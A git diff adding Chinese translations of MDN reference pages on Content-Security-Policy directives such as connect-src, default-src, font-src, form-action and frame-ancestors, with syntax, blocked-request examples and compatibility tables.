指令用于控制允许通过脚本接口加载的链接地址。其中受到影响的API如下: </p> + +<ul> + <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},</li> + <li>{{domxref("Fetch")}},</li> + <li>{{domxref("XMLHttpRequest")}},</li> + <li>{{domxref("WebSocket")}}, and</li> + <li>{{domxref("EventSource")}}.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>connect-src 可以设置一个或者多个源地址: </p> + +<pre class="syntaxbox">Content-Security-Policy: connect-src <source>; +Content-Security-Policy: connect-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Violation_cases">Violation cases</h3> + +<p>给定如下CSP头部: </p> + +<pre class="brush: bash">Content-Security-Policy: connect-src https://example.com/</pre> + +<p>如下的连接请求会被阻塞且不会加载: </p> + +<pre class="brush: html"><a ping="https://not-example.com"> + +<script> + var xhr = new XMLHttpRequest(); + xhr.open('GET', 'https://not-example.com/'); + xhr.send(); + + var ws = new WebSocket("https://not-example.com/"); + + var es = new EventSource("https://not-example.com/"); + + navigator.sendBeacon("https://not-example.com/", { ... }); +</script></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.connect-src")}}</p> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<ul> + <li>Prior to Firefox 23, <code>xhr-src</code> was used in place of the <code>connect-src</code> directive and only restricted the use of {{domxref("XMLHttpRequest")}}.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}</li> + <li>{{domxref("Fetch")}}</li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li>{{domxref("WebSocket")}}</li> + <li>{{domxref("EventSource")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/default-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/default-src/index.html new file mode 100644 index 0000000000..01cbd8079d --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/default-src/index.html @@ -0,0 +1,151 @@ +--- +title: 'CSP: default-src' +slug: Web/HTTP/Headers/Content-Security-Policy/default-src +tags: + - 内容安全策略 + - 安全 + - 超文本传输协议 +translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,{{HTTPHeader("Content-Security-Policy")}} (CSP) 首部字段中的 <code><strong>default</strong></code><strong><code>-src</code></strong> 指令可以为其他 CSP 拉取指令({{Glossary("fetch directive", "fetch directives")}})提供备选项。对于以下列出的指令,假如不存在的话,那么用户代理会查找并应用 default-src 指令的值。</p> + +<ul> + <li>{{CSP("child-src")}}</li> + <li>{{CSP("connect-src")}}</li> + <li>{{CSP("font-src")}}</li> + <li>{{CSP("frame-src")}}</li> + <li>{{CSP("img-src")}}</li> + <li>{{CSP("manifest-src")}}</li> + <li>{{CSP("media-src")}}</li> + <li>{{CSP("object-src")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("worker-src")}}</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP 版本</th> + <td>1</td> + </tr> + <tr> + <th scope="row">指令类型</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>default-src</code> 策略允许指定一个或多个源:</p> + +<pre class="syntaxbox">Content-Security-Policy: default-src <source>; +Content-Security-Policy: default-src <source> <source>; +</pre> + +<h3 id="源">源</h3> + +<p><source> 可以是以下之一:</p> + +<dl> + <dt><host-source></dt> + <dd>以域名或者 IP 地址表示的主机名,外加可选的 URL 协议名(<a href="/en-US/docs/URIs_and_URLs">URL scheme</a>)以及端口号。站点地址中可能会包含一个可选的前置通配符(星号 '*'),同时也可以将通配符(也是'*')应用于端口号,表示在这个源中可以使用任意合法的端口号。<br> + 举例说明: + <ul> + <li><code>http://*.example.com:</code> 匹配从使用 http: 的 example.com 的任意子域的资源加载。</li> + <li><code>mail.example.com:443:</code>匹配对 mail.example.com 上的 443 端口号的访问。</li> + <li><code>https://store.example.com</code>: 匹配对使用了 https: 的 store.example.com 的访问。</li> + </ul> + </dd> + <dt><scheme-source></dt> + <dd>协议名如'http:' 或者 'https:'。<strong>必须带有冒号,不要有单引号</strong>。同时你还可以指定数据协议(data schema)(不推荐使用)。 + <ul> + <li><code>data:</code> 允许 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URIs</a> 作为内容的源<em>。这是不安全的。攻击者可以注入任意 data: URI 。不要轻易使用这种形式的源,尤其是脚本,绝对不要使用。</em></li> + <li><code>mediastream:</code> 允许 <a href="/en-US/docs/Web/API/MediaStream_API"><code>mediastream:</code> URIs</a> 作为内容的源<em>。</em></li> + <li><code>blob:</code> 允许 <a href="/en-US/docs/Web/API/Blob"><code>blob:</code> URIs</a> 作为内容的源<em>。</em></li> + <li><code>filesystem:</code> 允许 <a href="/en-US/docs/Web/API/FileSystem"><code>filesystem:</code> URIs</a> 作为内容的源<em>。</em></li> + </ul> + </dd> + <dt><code>'self'</code></dt> + <dd>指向与要保护的文件所在的源,包括相同的 URL scheme 与端口号。必须有单引号。一些浏览器会特意排除 blob 与 filesystem 。需要设定这两种内容类型的站点可以在 Data 属性中进行设定。</dd> + <dt><code>'unsafe-inline'</code></dt> + <dd>允许使用内联资源,例如内联 {{HTMLElement("script")}} 元素(javascript: URL)、内联事件处理器以及内联 {{HTMLElement("style")}} 元素。必须有单引号。</dd> + <dt><code>'unsafe-eval'</code></dt> + <dd>允许使用 eval() 以及相似的函数来从字符串创建代码。必须有单引号。</dd> + <dt><code>'none'</code></dt> + <dd>不允许任何内容。 必须有单引号。</dd> + <dt>'nonce-<base64值>'</dt> + <dd>特定使用一次性加密内联脚本的白名单。服务器必须在每一次传输政策时生成唯一的一次性值。否则将存在绕过资源政策的可能。请参见<a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">不安全的内联脚本</a>查看示例。</dd> + <dt><hash-source></dt> + <dd>使用 sha256、sha384 或 sha512 编码过的内联脚本或样式。其由用短划线分隔的两部分组成: 用于创建哈希的加密算法, 以及脚本或样式base64编码的哈希值。当生成哈希值的时候,不要包含 <script> 或 <style> 标签,同时注意字母大小写与空格——包括首尾空格——都是会影响生成的结果的。请参见<a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">不安全的内联脚本</a>。</dd> + <dt>'strict-dynamic'</dt> + <dd>strict-dynamic 指定对于含有标记脚本(通过附加一个随机数或散列)的信任,应该传播到由该脚本加载的所有脚本。与此同时,任何白名单以及源表达式例如 'self' 或者 'unsafe-inline' 都会被忽略。参见 <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> 。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="不继承_default-src_的情况"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif">不继承 </font>default-src 的情况</code></h3> + +<p>假如设定了其他指令,那么 <code>default-src</code> 不会对它们起作用。这个首部</p> + +<pre class="brush: bash">Content-Security-Policy: default-src 'self'; script-src https://example.com</pre> + +<p>与下列代码等价:</p> + +<pre class="brush: bash">Content-Security-Policy: connect-src 'self'; + font-src 'self'; + frame-src 'self'; + img-src 'self'; + manifest-src 'self'; + media-src 'self'; + object-src 'self'; + script-src https://example.com; + style-src 'self'; + worker-src 'self'</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Added <code>frame-src</code>, <code>manifest-src</code> and <code>worker-src</code> as defaults.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">此页中的兼容性表格从已构建的数据中生成。若您想贡献数据,请前往<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>并向我们发送Pull request。</p> + +<p>{{Compat("http.headers.csp.default-src")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("connect-src")}}</li> + <li>{{CSP("font-src")}}</li> + <li>{{CSP("frame-src")}}</li> + <li>{{CSP("img-src")}}</li> + <li>{{CSP("manifest-src")}}</li> + <li>{{CSP("media-src")}}</li> + <li>{{CSP("object-src")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("worker-src")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/font-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/font-src/index.html new file mode 100644 index 0000000000..89d24a698c --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/font-src/index.html @@ -0,0 +1,99 @@ +--- +title: 'CSP: font-src' +slug: Web/HTTP/Headers/Content-Security-Policy/font-src +tags: + - CSP + - HTTP + - 内容安全策略 + - 参考 + - 安全 +translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP 内容安全策略) 中 <code><strong>font</strong></code><strong><code>-src</code></strong> 指令定义了 {{cssxref("@font-face")}} 加载字体的有效源规则。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP 版本</th> + <td>1</td> + </tr> + <tr> + <th scope="row">指令类型</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} 替代</th> + <td>是。如果 <code><strong>font</strong></code><strong><code>-src</code></strong> 没有指定,则使用 <code>default-src</code> 指令。</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>font-src</code> 策略可以包含一个或多个源:</p> + +<pre class="syntaxbox">Content-Security-Policy: font-src <source>; +Content-Security-Policy: font-src <source> <source>; +</pre> + +<h3 id="源代码">源代码</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="示例">示例</h2> + +<h3 id="反例">反例</h3> + +<p>给出这个 CSP 头:</p> + +<pre class="brush: bash">Content-Security-Policy: font-src https://example.com/ +</pre> + +<p>以下的字体源将被阻止,不会加载到浏览器中:</p> + +<pre class="brush: html"><style> + @font-face { + font-family: "MyFont"; + src: url("https://not-example.com/font"); + } + body { + font-family: "MyFont"; + } +</style></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-font-src", "font-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>无变化</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-font-src", "font-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>首次定义</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页的兼容性表是根据结构化的数据生成的。如果你想贡献更多数据,请到 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们发 pull request。</p> + +<p>{{Compat("http.headers.csp.font-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{cssxref("@font-face")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/form-action/index.html b/files/zh-cn/web/http/headers/content-security-policy/form-action/index.html new file mode 100644 index 0000000000..8bf84073c7 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/form-action/index.html @@ -0,0 +1,102 @@ +--- +title: 'CSP: form-action' +slug: Web/HTTP/Headers/Content-Security-Policy/form-action +translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) 的 <code><strong>form</strong></code><strong><code>-action</code></strong> 指令能够限定当前页面中表单的提交地址。</p> + +<div class="warning"> +<p>在表单提交之后, <code>form-action</code> 指令是否应该阻止重定向仍有待讨论,各个浏览器对于此行为的实现也不尽相同(例如,Chrome 63会阻止重定向,而Firefox 57则不会)。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>No. 未设定时允许任何值.</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>form-action</code> 策略允许设定一个或多个源:</p> + +<pre class="syntaxbox">Content-Security-Policy: form-action <source>; +Content-Security-Policy: form-action <source> <source>; +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="meta标签配置">meta标签配置</h3> + +<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"></pre> + +<h3 id="Apache服务器配置">Apache服务器配置</h3> + +<pre class="brush: bash"><IfModule mod_headers.c> +Header set Content-Security-Policy "form-action 'none'; +</IfModule></pre> + +<h3 id="Nginx配置">Nginx配置</h3> + +<pre class="brush: bash">add_header Content-Security-Policy "form-action 'none';"</pre> + +<h3 id="反例">反例</h3> + +<p>将 {{HTMLElement("form")}} 元素的action设置为内联 JavaScript 会违反CSP规则。</p> + +<pre class="brush: html; example-bad"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"> + +<form action="javascript:alert('Foo')" id="form1" method="post"> + <input type="text" name="fieldName" value="fieldValue"> + <input type="submit" id="submit" value="submit"> +</form> + +// Error: Refused to send form data because it violates the following +// Content Security Policy directive: "form-action 'none'".</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-form-action", "form-action")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-form-action", "form-action")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页面的兼容性列表由结构化数据生成,如果你想完善这些数据,请移步 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发起pull request。</p> + +<p>{{Compat("http.headers.csp.form-action")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPheader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("form")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.html b/files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.html new file mode 100644 index 0000000000..23dd67cca2 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.html @@ -0,0 +1,110 @@ +--- +title: 'CSP: frame-ancestors' +slug: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP头部 {{HTTPHeader("Content-Security-Policy")}} (CSP) <code>中的<strong>frame-ancestors</strong></code> 指令指定了一个可以包含{{HTMLElement("frame")}},{{HTMLElement("iframe")}},{{HTMLElement("object")}},{{HTMLElement("embed")}},or {{HTMLElement("applet")}}等元素的有效父级。</p> + +<p>当该指令设置为<code>'none'时,其作用类似于</code>{{HTTPHeader("X-Frame-Options")}}<code>: DENY</code> (该头部被一些老版本浏览器所支持)。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP版本(CSP version)</th> + <td>2</td> + </tr> + <tr> + <th scope="row">指令类型(Directive type)</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">是否后备使用{{CSP("default-src")}}</th> + <td>否。如未设置则允许所有可能值。</td> + </tr> + <tr> + <th colspan="2" scope="row">该指令不支持通过{{HTMLElement("meta")}} 元素或通过 {{HTTPHeader("Content-Security-policy-Report-Only")}} 头域所指定.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p><code>frame-ancestors</code>策略可以设置一个或多个源<source>:</p> + +<pre class="syntaxbox">Content-Security-Policy: frame-ancestors <source>; +Content-Security-Policy: frame-ancestors <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p><source> 可以是如下内容:</p> + +<div class="note"> +<p><code>frame-ancestors</code>指令的语法类似于其他指令的源列表(source list,如{{CSP("default-src")}}),但不允许<code>'unsafe-eval'或</code><code>'unsafe-inline'</code> 。它也不会回退使用<code>default-src</code>的值。仅有如下的源列表是可用的:</p> +</div> + +<dl> + <dt><host-source></dt> + <dd>一个Internet主机的名称或IP地址,以及一个可选的<a href="/en-US/docs/URIs_and_URLs">URL scheme</a>和/或端口号。这些站点的地址可以包含一个可选的引导通配符(星号, <code>'*'),或者你可以使用通配符</code>(同样还是, <code>'*')作为端口地址</code>,以示这个源的所有合法端口地址都是有效的。<br> + 例子: + <ul> + <li><code>http://*.example.com</code>: 匹配所有使用http:URL scheme并来对于example.com及其子域名的加载意图。</li> + <li><code>mail.example.com:443</code>: 匹配所有对于mail.example.com在443端口的访问意图。</li> + <li><code>https://store.example.com</code>: 匹配所有使用https:访问store.example.com的意图。</li> + </ul> + </dd> + <dt><scheme-source></dt> + <dd>一个schema配置,比如'http:'或'https:'。注意,冒号是必要的。你同样也可以指定一个data schema(但并不推荐)。 + <ul> + <li>'<code>data:</code>' 允许 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URIs</a> 作为内容源。<em> 这是不安全的,攻击者可以用此来注入恶意代码。请谨慎使用,并不要令其作用于脚本。</em></li> + <li><code>'mediastream:'</code> 允许 <a href="/en-US/docs/Web/API/MediaStream_API"><code>mediastream:</code> URIs</a> 作为内容源.</li> + <li><code>'blob:'</code> 允许 <a href="/en-US/docs/Web/API/Blob"><code>blob:</code> URIs</a> 作为内容源.</li> + <li><code>'filesystem:'</code> 允许 <a href="/en-US/docs/Web/API/FileSystem"><code>filesystem:</code> URIs</a> 作为内容源.</li> + </ul> + </dd> + <dt><code>'self'</code></dt> + <dd>指向一个该受保护文档所在的源,包含同样的URL schema和端口号。必须用单引号设置。有些浏览器会从源指令中排<code>除blob</code>和<code>filesystem</code>。需要允许这些内容类型的站点可以通过Data属性指定它们。</dd> + <dt><code>'none'</code></dt> + <dd>指向一个空集,意味着没有URL会被匹配。也需要单引号包裹设置。</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: bash">Content-Security-Policy: frame-ancestors 'none';</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.frame-ancestors")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("X-Frame-Options")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/index.html b/files/zh-cn/web/http/headers/content-security-policy/index.html new file mode 100644 index 0000000000..391086d5a6 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/index.html @@ -0,0 +1,226 @@ +--- +title: Content-Security-Policy +slug: Web/HTTP/Headers/Content-Security-Policy +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +<div>{{HTTPSidebar}}</div> + +<div>HTTP 响应头<strong><code>Content-Security-Policy</code></strong>允许站点管理者控制用户代理能够为指定的页面加载哪些资源。除了少数例外情况,设置的政策主要涉及指定服务器的源和脚本结束点。这将帮助防止跨站脚本攻击(<code>Cross-Site Script</code>)({{Glossary("XSS")}})。</div> + +<p>如需更多信息,请查阅<a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">头部类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Security-Policy: <policy-directive>; <policy-directive> +</pre> + +<h2 id="指令">指令</h2> + +<h3 id="获取指令:GlossaryFetch_directive_Fetch_directives">获取指令:{{Glossary("Fetch directive", "Fetch directives")}}</h3> + +<p>通过获取指令来控制某些可能被加载的确切的资源类型的位置。</p> + +<dl> + <dt>{{CSP("child-src")}}</dt> + <dd><strong>child-src:</strong>为 <a href="/zh-CN/docs/Web/API/Web_Workers_API">web workers</a> 和其他内嵌浏览器内容(例如用{{HTMLElement("frame")}}和{{HTMLElement("iframe")}}加载到页面的内容)定义合法的源地址。</dd> + <dt> + <div class="warning"> + <p>如果开发者希望管控内嵌浏览器内容和 web worker 应分别使用{{CSP("frame-src")}}和{{CSP("worker-src")}} 指令,来相对的取代 <code><strong>child-src</strong></code>。</p> + </div> + </dt> + <dt></dt> + <dt>{{CSP("connect-src")}}</dt> + <dd><strong>connect-src:</strong>限制能通过脚本接口加载的URL。</dd> + <dt>{{CSP("default-src")}}</dt> + <dd><strong>default-src:</strong>为其他取指令提供备用服务{{Glossary("Fetch directive", "fetch directives")}}。</dd> + <dt>{{CSP("font-src")}}</dt> + <dd><strong>font-src:</strong>设置允许通过{{cssxref("@font-face")}}加载的字体源地址。</dd> + <dt>{{CSP("frame-src")}}</dt> + <dd><strong>frame-src: </strong>设置允许通过类似{{HTMLElement("frame")}}和{{HTMLElement("iframe")}}标签加载的内嵌内容的源地址。</dd> + <dt>{{CSP("img-src")}}</dt> + <dd><strong>img-src: </strong>限制图片和图标的源地址</dd> + <dt>{{CSP("manifest-src")}}</dt> + <dd><strong>manifest-src : </strong>限制应用声明文件的源地址。</dd> + <dt>{{CSP("media-src")}}</dt> + <dd><strong>media-src:</strong>限制通过{{HTMLElement("audio")}}、{{HTMLElement("video")}}或{{HTMLElement("track")}}标签加载的媒体文件的源地址。</dd> + <dt>{{CSP("object-src")}}</dt> + <dd><strong>object-src:</strong>限制{{HTMLElement("object")}}、{{HTMLElement("embed")}}、{{HTMLElement("applet")}}标签的源地址。</dd> +</dl> + +<div class="blockIndicator note"> +<p>被<code>object-src</code>控制的元素可能碰巧被当作遗留HTML元素,导致不支持新标准中的功能(例如<code><iframe></code>中的安全属性<code>sandbox</code>和<code>allow</code>)。因此<strong>建议</strong>限制该指令的使用(比如,如果可行,将<code>object-src</code>显式设置为<code>'none'</code>)。</p> +</div> + +<dl> + <dt>{{CSP("prefetch-src")}} </dt> + <dd>指定预加载或预渲染的允许源地址。</dd> + <dt>{{CSP("script-src")}}</dt> + <dd>限制JavaScript的源地址。</dd> + <dt>{{CSP("style-src")}}</dt> + <dd>限制层叠样式表文件源。</dd> + <dt>{{CSP("webrtc-src")}} {{experimental_inline}}</dt> + <dd>指定<a href="https://developer.mozilla.org/docs/Web/API/WebRTC_API">WebRTC</a>连接的合法源地址。</dd> + <dt>{{CSP("worker-src")}}</dt> + <dd>限制{{domxref("Worker")}}、{{domxref("SharedWorker")}}或者{{domxref("ServiceWorker")}}脚本源。</dd> +</dl> + +<h3 id="文档指令_Document_directives">文档指令 | Document directives</h3> + +<p>文档指令管理文档属性或者worker环境应用的策略。</p> + +<dl> + <dt>{{CSP("base-uri")}}</dt> + <dd>限制在DOM中{{HTMLElement("base")}}元素可以使用的URL。</dd> + <dt>{{CSP("plugin-types")}}</dt> + <dd>通过限制可以加载的资源类型来限制哪些插件可以被嵌入到文档中。</dd> + <dt>{{CSP("sandbox")}}</dt> + <dd>类似{{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}}属性,为请求的资源启用沙盒。</dd> + <dt>{{CSP("disown-opener")}} {{obsolete_inline}}</dt> + <dd>确保资源在导航的时候能够脱离父页面。(windown.opener 对象)Ensures a resource will disown its opener when navigated to.</dd> +</dl> + +<h3 id="导航指令_Navigation_directives">导航指令 | Navigation directives</h3> + +<p>导航指令管理用户能打开的链接或者表单可提交的链接</p> + +<dl> + <dt>{{CSP("form-action")}}</dt> + <dd>限制能被用来作为给定上下文的表单提交的目标 URL(说白了,就是限制 form 的 action 属性的链接地址)</dd> + <dt>{{CSP("frame-ancestors")}}</dt> + <dd>指定可能嵌入页面的有效父项{{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd> + <dt>{{CSP("navigation-to")}} {{experimental_inline}}</dt> + <dd>限制文档可以通过以下任何方式访问URL (a, form, window.location, window.open, etc.)</dd> +</dl> + +<h3 id="报告指令">报告指令</h3> + +<p>报告指令控制 CSP 违规的报告过程. 更多请看 {{HTTPHeader("Content-Security-Policy-Report-Only")}} 报头.</p> + +<dl> + <dt>{{CSP("report-uri")}} {{deprecated_inline}}</dt> + <dd>当出现可能违反CSP的操作时,让客户端提交报告。这些违规报告会以JSON文件的格式通过POST请求发送到指定的URI</dd> + <dt>{{CSP("report-to")}} {{experimental_inline}}</dt> + <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd> +</dl> + +<h3 id="其他指令_Other_directives">其他指令 | Other directives</h3> + +<dl> + <dt>{{CSP("block-all-mixed-content")}}</dt> + <dd>当使用HTTPS加载页面时阻止使用HTTP加载任何资源。</dd> + <dt>{{CSP("referrer")}} {{obsolete_inline}}</dt> + <dd>用来指定会离开当前页面的跳转链接的 referer header 信息。应该使用 {{HTTPHeader("Referrer-Policy")}} 替代。</dd> + <dt>{{CSP("require-sri-for")}}</dt> + <dd>需要使用 {{Glossary("SRI")}} 作用于页面上的脚本或样式。</dd> + <dt>{{CSP("upgrade-insecure-requests")}}</dt> + <dd>让浏览器把一个网站所有的不安全 URL(通过 HTTP 访问)当做已经被安全的 URL 链接(通过 HTTPS 访问)替代。这个指令是为了哪些有量大不安全的传统 URL 需要被重写时候准备的。</dd> +</dl> + +<h2 id="CSP_和_Workers">CSP 和 Workers</h2> + +<p><a href="/en-US/docs/Web/API/Worker">Workers</a> 一般来说不被创建他的文档(或者父级Worker)的CSP策略管理。如果要为Worker指定CSP策略,可以为Worker脚本的请求的响应的头部设置CSP策略。 </p> + +<p>例外的情况是,如果Worker脚本的来源是一个全局唯一ID(比如,它的URL是一个结构化的数据或者BLOB)。在这种情况下,这个Worker会继承它所属的文档或者创建它的Worker的CSP策略。</p> + +<h2 id="多内容安全策略">多内容安全策略</h2> + +<p>CSP 允许在一个资源中指定多个策略, 包括通过 <code>Content-Security-Policy</code> 头, 以及 {{HTTPHeader("Content-Security-Policy-Report-Only")}} 头,和 {{HTMLElement("meta")}} 组件。</p> + +<p>你可以像以下实例一样多次调用 <code>Content-Security-Policy</code> 头。 特别注意这里的 {{CSP("connect-src")}} 指令。 尽管第二个策略允许连接, 第一个策略仍然包括了 <code>connect-src 'none'</code>。添加了附加的策略后,只会让资源保护的能力更强,也就是说不会有接口可以被允许访问,等同于最严格的策略,<code>connect-src 'none'</code> 强制开启。</p> + +<pre>Content-Security-Policy: default-src 'self' http://example.com; + connect-src 'none'; +Content-Security-Policy: connect-src http://example.com/; + script-src http://example.com/</pre> + +<h2 